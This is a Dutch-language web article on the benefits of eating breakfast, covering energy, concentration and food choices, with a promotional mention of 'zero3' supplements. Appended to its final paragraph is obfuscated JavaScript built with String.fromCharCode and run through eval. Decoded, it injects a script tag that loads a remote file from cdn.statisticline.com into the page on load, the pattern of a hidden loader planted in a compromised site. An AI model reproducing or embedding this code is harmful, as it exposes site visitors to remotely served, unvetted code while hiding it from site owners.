Voedingsdeskundigen hebben lang beweerd dat een voedzaam ontbijt essentieel is voor een goede start van de dag. Ze beweren dat het niet alleen ons denken en onze prestaties op het werk verbetert, maar dat het ook ons welzijn op verschillende andere manieren ten goede komt. Mensen denken vaak dat ze voeding begrijpen omdat ze eten, maar er is veel kennis en onderzoek nodig om te bepalen wat ons lichaam echt nodig heeft. Volgens onderzoek zijn er verschillende redenen waarom je zou moeten ontbijten. Door gezonde ontbijtgranen of andere gezonde maaltijden te eten, kun je je dag een kickstart geven.
Voor energie
Glucose is de energiebron van het lichaam. De koolhydraten die je binnenkrijgt, breken af en nemen glucose op. Het grootste deel van de energie in het lichaam wordt opgeslagen als vet. Je lichaam slaat echter ook wat glucose op als glycogeen, waarvan het grootste deel in je lever en een kleine hoeveelheid in je spieren. Je glycogeen niveaus zijn ’s ochtends uitgeput nadat je tot 12 uur lang niet hebt gegeten. Ontbijten verhoogt je energieniveau en vult je glycogeenvoorraden aan. Zo houd je je stofwisseling de hele dag op peil. Je moet echter niet zomaar iets eten als ontbijt. Je moet er altijd voor kiezen om een gezonde maaltijd te eten en wat supplementen van zero3 te drinken om ervoor te zorgen dat je alle voedingsstoffen binnenkrijgt die je nodig hebt.
Het verhoogt je denkvermogen
Als je niet ontbijt, kun je je lusteloos voelen en kun je je moeilijk concentreren. Dit komt doordat je hersenen niet de energie (glucose) ontvangen die ze nodig hebben om te functioneren. Volgens onderzoek heeft het overslaan van het ontbijt een impact op je mentale functie, waaronder je aandacht, concentratievermogen en geheugen. Kinderen en adolescenten die regelmatig ontbijten, presteren academisch beter dan degenen die het ontbijt overslaan. Ze voelen zich ook meer verbonden met hun instructeurs en andere volwassenen op school, wat leidt tot een betere gezondheid en academisch succes.
Helpt je betere voedselkeuzes te maken
Mensen die ontbijten, hebben gezondere voeding, betere eetgewoonten en hebben minder behoefte aan snacks gedurende de dag dan mensen die het ontbijt overslaan. Kinderen die geen voedzaam ontbijt hebben, hebben meer kans om slechte voedingskeuzes te maken, niet alleen gedurende de dag, maar ook op de lange termijn.var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);
